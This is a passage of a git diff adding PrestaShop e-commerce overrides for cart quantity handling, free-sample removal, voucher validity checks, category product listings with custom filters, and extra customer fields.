'.(int)$quantity; + $new_qty = (int)$result['quantity'] - (int)$quantity; + if ($new_qty < $minimal_quantity && $minimal_quantity > 1) + return -1; + } + else + return false; + + /* Delete product from cart */ + if ($new_qty <= 0) + return $this->deleteProduct((int)$id_product, (int)$id_product_attribute, (int)$id_customization); + else if ($new_qty < $minimal_quantity) + return -1; + else + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cart_product` + SET `quantity` = `quantity` '.$qty.', `date_add` = NOW() + WHERE `id_product` = '.(int)$id_product. + (!empty($id_product_attribute) ? ' AND `id_product_attribute` = '.(int)$id_product_attribute : '').' + AND `id_cart` = '.(int)$this->id.(Configuration::get('PS_ALLOW_MULTISHIPPING') && $this->isMultiAddressDelivery() ? ' AND `id_address_delivery` = '.(int)$id_address_delivery : '').' + LIMIT 1' + ); + } + /* Add product to the cart */ + elseif ($operator == 'up') + { + $sql = 'SELECT stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity + FROM '._DB_PREFIX_.'product p + '.Product::sqlStock('p', $id_product_attribute, true, $shop).' + WHERE p.id_product = '.$id_product; + + $result2 = Db::getInstance()->getRow($sql); + + // Quantity for product pack + if (Pack::isPack($id_product)) + $result2['quantity'] = Pack::getQuantity($id_product, $id_product_attribute); + + if (!Product::isAvailableWhenOutOfStock((int)$result2['out_of_stock'])) + if ((int)$quantity > $result2['quantity']) + return false; + + if ((int)$quantity < $minimal_quantity) + return -1; + + $result_add = Db::getInstance()->insert('cart_product', array( + 'id_product' => (int)$id_product, + 'id_product_attribute' => (int)$id_product_attribute, + 'id_cart' => (int)$this->id, + 'id_address_delivery' => (int)$id_address_delivery, + 'id_shop' => $shop->id, + 'quantity' => (int)$quantity, + 'date_add' => date('Y-m-d H:i:s') + )); + + if (!$result_add) + return false; + } + } + + // refresh cache of self::_products + $this->_products = $this->getProducts(true); + $this->update(true); + $context = Context::getContext()->cloneContext(); + $context->cart = $this; + Cache::clean('getContextualValue_*'); + if ($auto_add_cart_rule) + CartRule::autoAddToCart($context); + + if ($product->customizable) + return $this->_updateCustomizationQuantity((int)$quantity, (int)$id_customization, (int)$id_product, (int)$id_product_attribute, (int)$id_address_delivery, $operator); + else + return true; + } + + public function checkQuantities() + { + if (Configuration::get('PS_CATALOG_MODE')) + return false; + + foreach ($this->getProducts() as $product) + + if (!$product['active'] + || ( + !$product['allow_oosp'] && $product['stock_quantity'] < $product['cart_quantity'] + ) + || !$product['available_for_order']) + { + $this->deleteProduct((int)$product['id_product'], (int)$product['id_product_attribute'], (int)$product['id_customization']); + + } + + return true; + } + + /** + * Check cart and Delete echantillon if only giftcard + */ + public function checkProductForEchantillon () { + $products = $this->getIdProductsWithoutEchantillon(); + $flag = 0; + if( $products ){ + foreach ( $products as $product ) { + $isGiftCard = Product::isGiftCardStaticProduct( (int)$product['id_product'] ); + if ( $isGiftCard ) { + $flag++; + } + } + } + if ( $flag == count($products) ) { + $this->deleteEchantillons(); + } + } + + /** + * Delete echantillon + */ + public function deleteEchantillons ( $isAjax = false ) { + $result = Db::getInstance()->execute('delete FROM '._DB_PREFIX_.'cart_product WHERE echantillon=1 and id_cart = '.(int)$this->id); + if ( $isAjax ) { + die(true); + } + } + + /** + * Return cart products id without echantillon + * + * @result array Products + */ + public function getIdProductsWithoutEchantillon( ) + { + if (!$this->id) + return array(); + + $sql = 'SELECT id_product FROM ps_cart_product WHERE id_cart = '.(int)$this->id.' AND echantillon != 1'; + + return Db::getInstance()->executeS($sql); + } +} \ No newline at end of file diff --git a/override/classes/CartRule.php b/override/classes/CartRule.php new file mode 100755 index 0000000..d58ddd6 --- /dev/null +++ b/override/classes/CartRule.php @@ -0,0 +1,297 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CartRule extends CartRuleCore +{ + public function getAssociatedRestrictions($type, $active_only, $i18n) + { + $array = array('selected' => array(), 'unselected' => array()); + + if (!in_array($type, array('country', 'carrier', 'group', 'cart_rule', 'shop'))) + return false; + + $shop_list = ''; + if ($type == 'shop') + { + $shops = Context::getContext()->employee->getAssociatedShops(); + if (count($shops)) + $shop_list = ' AND t.id_shop IN ('.implode(array_map('intval', $shops), ',').') '; + } + + if (!Validate::isLoadedObject($this) OR $this->{$type.'_restriction'} == 0) + { + $array['selected'] = Db::getInstance()->executeS(' + SELECT t.*'.($i18n ? ', tl.*' : '').', 1 as selected + FROM `'._DB_PREFIX_.$type.'` t + '.($i18n ? 'LEFT JOIN `'._DB_PREFIX_.$type.'_lang` tl ON (t.id_'.$type.' = tl.id_'.$type.' AND tl.id_lang = '.(int)Context::getContext()->language->id.')' : '').' + WHERE 1 + '.($active_only ? 'AND t.active = 1' : '').' + '.(in_array($type, array('carrier', 'shop')) ? ' AND t.deleted = 0' : '').' + '.($type == 'cart_rule' ? 'AND t.id_cart_rule != '.(int)$this->id : ''). + $shop_list. + ' ORDER BY name ASC'); + } + else + { + if ($type == 'cart_rule') { + $array = $this->getCartRuleCombinations(); + } + else if ($type == 'carrier') { + $resource = Db::getInstance()->query(' + SELECT t.*'.($i18n ? ', tl.*' : '').', IF(crt.id_'.$type.' IS NULL, 0, 1) as selected + FROM `'._DB_PREFIX_.$type.'` t + '.($i18n ? 'LEFT JOIN `'._DB_PREFIX_.$type.'_lang` tl ON (t.id_'.$type.' = tl.id_'.$type.' AND tl.id_lang = '.(int)Context::getContext()->language->id.')' : '').' + LEFT JOIN (SELECT id_'.$type.' FROM `'._DB_PREFIX_.'cart_rule_'.$type.'` WHERE id_cart_rule = '.(int)$this->id.') crt ON t.id_'.($type == 'carrier' ? 'reference' : $type).' = crt.id_'.$type.' + WHERE 1 '.($active_only ? ' AND t.active = 1' : '').$shop_list.(in_array($type, array('carrier', 'shop')) ? ' AND t.deleted = 0' : ''). + ' GROUP BY id_reference ORDER BY name ASC', + false); + while ($row = Db::getInstance()->nextRow($resource)) + $array[($row['selected'] || $this->{$type.'_restriction'} == 0) ? 'selected' : 'unselected'][] = $row; + } else { + $resource = Db::getInstance()->query(' + SELECT t.*'.($i18n ? ', tl.*' : '').', IF(crt.id_'.$type.' IS NULL, 0, 1) as selected + FROM `'._DB_PREFIX_.$type.'` t + '.($i18n ? 'LEFT JOIN `'._DB_PREFIX_.$type.'_lang` tl ON (t.id_'.$type.' = tl.id_'.$type.' AND tl.id_lang = '.(int)Context::getContext()->language->id.')' : '').' + LEFT JOIN (SELECT id_'.$type.' FROM `'._DB_PREFIX_.'cart_rule_'.$type.'` WHERE id_cart_rule = '.(int)$this->id.') crt ON t.id_'.($type == 'carrier' ? 'reference' : $type).' = crt.id_'.$type.' + WHERE 1 '.($active_only ? ' AND t.active = 1' : ''). + $shop_list + .(in_array($type, array('carrier', 'shop')) ? ' AND t.deleted = 0' : ''). + ' ORDER BY name ASC', + false); + while ($row = Db::getInstance()->nextRow($resource)) + $array[($row['selected'] || $this->{$type.'_restriction'} == 0) ? 'selected' : 'unselected'][] = $row; + } + } + return $array; + } + + + public function checkValidity(Context $context, $alreadyInCart = false, $display_error = true) + { + if (!CartRule::isFeatureActive()) + return false; + + if (!$this->active) + return (!$display_error) ? false : Tools::displayError('This voucher is disabled'); + if (!$this->quantity) + return (!$display_error) ? false : Tools::displayError('This voucher has already been used'); + if (strtotime($this->date_from) > time()) + return (!$display_error) ? false : Tools::displayError('This voucher is not valid yet'); + if (strtotime($this->date_to) < time()) + return (!$display_error) ? false : Tools::displayError('This voucher has expired'); + + if ($this->first_order && $context->cart->id_customer) { + $orderNumber = Db::getInstance()->getValue(' + SELECT count(*) + FROM '._DB_PREFIX_.'orders o + WHERE o.id_customer = '.$context->cart->id_customer.' + AND '. (int)Configuration::get('PS_OS_ERROR').' != ( + SELECT oh.id_order_state + FROM '._DB_PREFIX_.'order_history oh + WHERE oh.id_order = o.id_order + ORDER BY oh.date_add DESC + LIMIT 1 + )'); + + if ($orderNumber > 0) { + return (!$display_error) ? false : Tools::displayError('This voucher is for your first order.'); + } + } + + if ($context->cart->id_customer) + { + $quantityUsed = Db::getInstance()->getValue(' + SELECT count(*) + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_cart_rule od ON o.id_order = od.id_order + WHERE o.id_customer = '.$context->cart->id_customer.' + AND od.id_cart_rule = '.(int)$this->id.' + AND '.(int)Configuration::get('PS_OS_ERROR').' != ( + SELECT oh.id_order_state + FROM '._DB_PREFIX_.'order_history oh + WHERE oh.id_order = o.id_order + ORDER BY oh.date_add DESC + LIMIT 1 + )'); + if ($quantityUsed + 1 > $this->quantity_per_user) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher anymore (usage limit reached)'); + } + + // Get an intersection of the customer groups and the cart rule groups (if the customer is not logged in, the default group is 1) + if ($this->group_restriction) + { + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crg.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_group crg + WHERE crg.id_cart_rule = '.(int)$this->id.' + AND crg.id_group '.($context->cart->id_customer ? 'IN (SELECT cg.id_group FROM '._DB_PREFIX_.'customer_group cg WHERE cg.id_customer = '.(int)$context->cart->id_customer.')' : '= 1')); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher'); + } + + // Check if the customer delivery address is usable with the cart rule + if ($this->country_restriction) + { + if (!$context->cart->id_address_delivery) + return (!$display_error) ? false : Tools::displayError('You must choose a delivery address before applying this voucher to your order'); + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crc.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_country crc + WHERE crc.id_cart_rule = '.(int)$this->id.' + AND crc.id_country = (SELECT a.id_country FROM '._DB_PREFIX_.'address a WHERE a.id_address = '.(int)$context->cart->id_address_delivery.' LIMIT 1)'); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher in your country of delivery'); + } + + // Check if the carrier chosen by the customer is usable with the cart rule + if ($this->carrier_restriction) + { + if (!$context->cart->id_carrier) + return (!$display_error) ? false : Tools::displayError('You must choose a carrier before applying this voucher to your order'); + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crc.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_carrier crc + INNER JOIN '._DB_PREFIX_.'carrier c ON (c.id_reference = crc.id_carrier AND c.deleted = 0) + WHERE crc.id_cart_rule = '.(int)$this->id.' + AND c.id_carrier = '.(int)$context->cart->id_carrier); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with this carrier'); + } + + // Check if the cart rules appliy to the shop browsed by the customer + if ($this->shop_restriction && $context->shop->id && Shop::isFeatureActive()) + { + $id_cart_rule = (int)Db::getInstance()->getValue(' + SELECT crs.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule_shop crs + WHERE crs.id_cart_rule = '.(int)$this->id.' + AND crs.id_shop = '.(int)$context->shop->id); + if (!$id_cart_rule) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher'); + } + + // Check if the products chosen by the customer are usable with the cart rule + if ($this->product_restriction) + { + $r = $this->checkProductRestrictions($context, false, $display_error); + if ($r !== false && $display_error) + return $r; + elseif (!$r && !$display_error) + return false; + } + + // Check if the cart rule is only usable by a specific customer, and if the current customer is the right one + if ($this->id_customer && $context->cart->id_customer != $this->id_customer) + { + if (!Context::getContext()->customer->isLogged()) + return (!$display_error) ? false : (Tools::displayError('You cannot use this voucher').' - '.Tools::displayError('Please log in')); + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher'); + } + + if ($this->minimum_amount) + { + // Minimum amount is converted to the default currency + $minimum_amount = $this->minimum_amount; + if ($this->minimum_amount_currency != Configuration::get('PS_CURRENCY_DEFAULT')) + { + $minimum_amount_currency = new Currency($this->minimum_amount_currency); + if ($this->minimum_amount == 0 || $minimum_amount_currency->conversion_rate == 0) + $minimum_amount = 0; + else + $minimum_amount = $this->minimum_amount / $minimum_amount_currency->conversion_rate; + } + + $cartTotal = $context->cart->getOrderTotal($this->minimum_amount_tax, Cart::BOTH); + if ($this->minimum_amount_shipping) + $cartTotal += $context->cart->getOrderTotal($this->minimum_amount_tax, Cart::ONLY_SHIPPING); + + // If a product is given for free in this rule and already in the cart, the price is subtracted + if ($this->gift_product && $alreadyInCart) + { + $query = new DbQuery(); + + $query->select('id_product'); + $query->from('cart_product'); + $query->where('id_product = '.(int)$this->gift_product); + $query->where('id_cart = '.(int)$context->cart->id); + + if ((int)$this->gift_product_attribute) + $query->where('id_product_attribute = '.(int)$this->gift_product_attribute); + + if (Db::getInstance()->getValue($query)) + { + $ref = false; + $product_price = Product::getPriceStatic( + $this->gift_product, + $this->minimum_amount_tax, + $this->gift_product_attribute, + null, null, false, true, 1, null, + $context->cart->id_customer ? $context->cart->id_customer : null, + $context->cart->id, + (int)$context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')} ? (int)$context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')} : null, + $ref, true, true, $context, true + ); + $cartTotal -= $product_price; + } + } + + if ($cartTotal < $minimum_amount) + return (!$display_error) ? false : Tools::displayError('You have not reached the minimum amount required to use this voucher'); + } + + // Check if the voucher is already in the cart of if a non compatible voucher is in the cart + // Important note: this MUST be the last check, because if the tested cart rule has priority over a non combinable one in the cart, we will switch them + $otherCartRules = $context->cart->getCartRules(); + if (count($otherCartRules)) + foreach ($otherCartRules as $otherCartRule) + { + if ($otherCartRule['id_cart_rule'] == $this->id && !$alreadyInCart) + return (!$display_error) ? false : Tools::displayError('This voucher is already in your cart'); + if ($this->cart_rule_restriction && $otherCartRule['cart_rule_restriction'] && $otherCartRule['id_cart_rule'] != $this->id) + { + $combinable = Db::getInstance()->getValue(' + SELECT id_cart_rule_1 + FROM '._DB_PREFIX_.'cart_rule_combination + WHERE (id_cart_rule_1 = '.(int)$this->id.' AND id_cart_rule_2 = '.(int)$otherCartRule['id_cart_rule'].') + OR (id_cart_rule_2 = '.(int)$this->id.' AND id_cart_rule_1 = '.(int)$otherCartRule['id_cart_rule'].')'); + if (!$combinable) + { + $cart_rule = new CartRule((int)$otherCartRule['id_cart_rule'], $context->cart->id_lang); + // The cart rules are not combinable and the cart rule currently in the cart has priority over the one tested + if ($cart_rule->priority <= $this->priority) + return (!$display_error) ? false : Tools::displayError('This voucher is not combinable with an other voucher already in your cart:').' '.$cart_rule->name; + // But if the cart rule that is tested has priority over the one in the cart, we remove the one in the cart and keep this new one + else + $context->cart->removeCartRule($cart_rule->id); + } + } + } + + if (!$display_error) + return true; + } + +} \ No newline at end of file diff --git a/override/classes/Category.php b/override/classes/Category.php new file mode 100755 index 0000000..a7da9f0 --- /dev/null +++ b/override/classes/Category.php @@ -0,0 +1,340 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Category extends CategoryCore +{ + /** @var string Description */ + public $description_short; + + public static $definition = array( + 'table' => 'category', + 'primary' => 'id_category', + 'multilang' => true, + 'multilang_shop' => true, + 'fields' => array( + 'nleft' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'nright' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'level_depth' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'id_parent' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'id_shop_default' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'is_root_category' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'position' => array('type' => self::TYPE_INT), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => true, 'size' => 64), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'required' => true, 'size' => 64), + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'description_short' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + ), + ); + /** + * Return current category products + * + * @param integer $id_lang Language ID + * @param integer $p Page number + * @param integer $n Number of products per page + * @param boolean $get_total return the number of results instead of the results themself + * @param boolean $active return only active products + * @param boolean $random active a random filter for returned products + * @param int $random_number_products number of products to return if random is activated + * @param boolean $check_access set to false to return all products (even if customer hasn't access) + * @return mixed Products or number of products + */ + public function getProducts($id_lang, $p, $n, $order_by = null, $order_way = null, $get_total = false, $active = true, $random = false, $random_number_products = 1, $check_access = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if ($check_access && !$this->checkAccess($context->customer->id)) + return false; + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if ($p < 1) $p = 1; + + if (empty($order_by)) + $order_by = 'position'; + else + /* Fix for all modules which are now using lowercase values for 'orderBy' parameter */ + $order_by = strtolower($order_by); + + if (empty($order_way)) + $order_way = 'ASC'; + if ($order_by == 'id_product' || $order_by == 'date_add' || $order_by == 'date_upd') + $order_by_prefix = 'p'; + elseif ($order_by == 'name') + $order_by_prefix = 'pl'; + elseif ($order_by == 'manufacturer') + { + $order_by_prefix = 'm'; + $order_by = 'name'; + } + elseif ($order_by == 'position') + $order_by_prefix = 'cp'; + + if ($order_by == 'price') + $order_by = 'orderprice'; + + if (!Validate::isBool($active) || !Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + + $id_supplier = (int)Tools::getValue('id_supplier'); + + /* Return only the number of products */ + if ($get_total) + { + $sql = 'SELECT COUNT(cp.`id_product`) AS total + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product` + WHERE cp.`id_category` = '.(int)$this->id. + ($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : ''). + ($active ? ' AND product_shop.`active` = 1' : ''). + ($id_supplier ? 'AND p.id_supplier = '.(int)$id_supplier : ''); + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, MAX(product_attribute_shop.id_product_attribute) id_product_attribute, product_attribute_shop.minimal_quantity AS product_attribute_minimal_quantity, pl.`description`, pl.`description_short`, pl.`available_now`, + pl.`available_later`, pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, pl.`name`, MAX(image_shop.`id_image`) id_image, + il.`legend`, m.`name` AS manufacturer_name, cl.`name` AS category_default, + DATEDIFF(product_shop.`date_add`, DATE_SUB(NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' + DAY)) > 0 AS new, product_shop.price AS orderprice + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p + ON p.`id_product` = cp.`id_product` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.`default_on` = 1').' + '.Product::sqlStock('p', 'product_attribute_shop', false, $context->shop).' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN `'._DB_PREFIX_.'image` i + ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il + ON (image_shop.`id_image` = il.`id_image` + AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m + ON m.`id_manufacturer` = p.`id_manufacturer` + WHERE product_shop.`id_shop` = '.(int)$context->shop->id.' + AND cp.`id_category` = '.(int)$this->id + .($active ? ' AND product_shop.`active` = 1' : '') + .($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '') + .($id_supplier ? ' AND p.id_supplier = '.(int)$id_supplier : '') + .' GROUP BY product_shop.id_product'; + + if ($random === true) + { + $sql .= ' ORDER BY RAND()'; + $sql .= ' LIMIT 0, '.(int)$random_number_products; + } + else + $sql .= ' ORDER BY '.(isset($order_by_prefix) ? $order_by_prefix.'.' : '').'`'.pSQL($order_by).'` '.pSQL($order_way).' + LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if ($order_by == 'orderprice') + Tools::orderbyPrice($result, $order_way); + + if (!$result) + return array(); + foreach ($result as &$row){ + $row['filtreSelected']=""; + if($productFiltresSelected=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_filtre_item` + FROM '._DB_PREFIX_.'devspefiltreproduit_liaison p + WHERE id_product='.(int)$row['id_product'])){ + $row2=""; + foreach($productFiltresSelected as $productSelected){ + $row2.="filtre_".$productSelected['id_filtre_item']." "; + } + $row['filtreSelected']=$row2; + } + } + /* Modify SQL result */ + return Product::getProductsProperties($id_lang, $result); + } + public function getProductsDiagnostic($id_lang, $p, $n, $order_by = null, $order_way = null, $get_total = false, $active = true, $random = false, $random_number_products = 1, $check_access = true, Context $context = null) + { + + + // $substitutions=array(); + // foreach($products_substitutions as $row){ + + // } + + if (!$context) + $context = Context::getContext(); + if ($check_access && !$this->checkAccess($context->customer->id)) + return false; + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if ($p < 1) $p = 1; + + if (empty($order_by)) + $order_by = 'position'; + else + /* Fix for all modules which are now using lowercase values for 'orderBy' parameter */ + $order_by = strtolower($order_by); + + if (empty($order_way)) + $order_way = 'ASC'; + if ($order_by == 'id_product' || $order_by == 'date_add' || $order_by == 'date_upd') + $order_by_prefix = 'p'; + elseif ($order_by == 'name') + $order_by_prefix = 'pl'; + elseif ($order_by == 'manufacturer') + { + $order_by_prefix = 'm'; + $order_by = 'name'; + } + elseif ($order_by == 'position') + $order_by_prefix = 'cp'; + + if ($order_by == 'price') + $order_by = 'orderprice'; + + if (!Validate::isBool($active) || !Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + + $id_supplier = (int)Tools::getValue('id_supplier'); + + /* Return only the number of products */ + if ($get_total) + { + $sql = 'SELECT COUNT(cp.`id_product`) AS total + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product` + WHERE cp.`id_category` = '.(int)$this->id. + ($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : ''). + ($active ? ' AND product_shop.`active` = 1' : ''). + ($id_supplier ? 'AND p.id_supplier = '.(int)$id_supplier : ''); + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, MAX(product_attribute_shop.id_product_attribute) id_product_attribute, product_attribute_shop.minimal_quantity AS product_attribute_minimal_quantity, pl.`description`, pl.`description_short`, pl.`available_now`, + pl.`available_later`, pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, pl.`name`, MAX(image_shop.`id_image`) id_image, + il.`legend`, m.`name` AS manufacturer_name, cl.`name` AS category_default, + DATEDIFF(product_shop.`date_add`, DATE_SUB(NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' + DAY)) > 0 AS new, product_shop.price AS orderprice + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p + ON p.`id_product` = cp.`id_product` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.`default_on` = 1').' + '.Product::sqlStock('p', 'product_attribute_shop', false, $context->shop).' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').') + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN `'._DB_PREFIX_.'image` i + ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il + ON (image_shop.`id_image` = il.`id_image` + AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m + ON m.`id_manufacturer` = p.`id_manufacturer` + WHERE product_shop.`id_shop` = '.(int)$context->shop->id.' + AND cp.`id_category` = '.(int)$this->id + .($active ? ' AND product_shop.`active` = 1' : '') + .($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '') + .($id_supplier ? ' AND p.id_supplier = '.(int)$id_supplier : '') + .' GROUP BY product_shop.id_product'; + + if ($random === true) + { + $sql .= ' ORDER BY RAND()'; + $sql .= ' LIMIT 0, '.(int)$random_number_products; + } + else + $sql .= ' ORDER BY '.(isset($order_by_prefix) ? $order_by_prefix.'.' : '').'`'.pSQL($order_by).'` '.pSQL($order_way).' + LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if ($order_by == 'orderprice') + Tools::orderbyPrice($result, $order_way); + + if (!$result) + return array(); + + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_substitutions'; + $products_substitutions=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + + foreach ($result as $key => &$row){ + + $row['filtreSelected']=""; + if($productFiltresSelected=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_filtre_item` + FROM '._DB_PREFIX_.'devspefiltreproduit_liaison p + WHERE id_product='.(int)$row['id_product'])){ + $row2=""; + foreach($productFiltresSelected as $productSelected){ + $row2.="filtre_".$productSelected['id_filtre_item']." "; + } + $row['filtreSelected']=$row2; + } + + // foreach($products_substitutions as $row2){ + // $id_product_1=$row2['id_product_1']; + // $id_product_2=$row2['id_product_2']; + // if($row['id_product']==$id_product_1){ + + // $sql='SELECT id_product FROM '._DB_PREFIX_.'category_product where id_product='.(int)$id_product_2; + // if($productFound=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + // unset($result[$key]); + // } + // } + } + + + /* Modify SQL result */ + return Product::getProductsProperties($id_lang, $result); + } +} diff --git a/override/classes/Customer.php b/override/classes/Customer.php new file mode 100755 index 0000000..364f9e9 --- /dev/null +++ b/override/classes/Customer.php @@ -0,0 +1,75 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Customer extends CustomerCore +{ + public $phone=0; + public $portable=0; + public $type_de_peau=0; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'customer', + 'primary' => 'id_customer', + 'fields' => array( + 'secure_key' => array('type' => self::TYPE_STRING, 'validate' => 'isMd5', 'copy_post' => false), + 'lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'required' => true, 'size' => 128), + 'passwd' => array('type' => self::TYPE_STRING, 'validate' => 'isPasswd', 'required' => true, 'size' => 32), + 'last_passwd_gen' => array('type' => self::TYPE_STRING, 'copy_post' => false), + 'id_gender' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'birthday' => array('type' => self::TYPE_DATE, 'validate' => 'isBirthDate'), + 'newsletter' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'newsletter_date_add' => array('type' => self::TYPE_DATE,'copy_post' => false), + 'ip_registration_newsletter' => array('type' => self::TYPE_STRING, 'copy_post' => false), + 'optin' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'website' => array('type' => self::TYPE_STRING, 'validate' => 'isUrl'), + 'company' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'siret' => array('type' => self::TYPE_STRING, 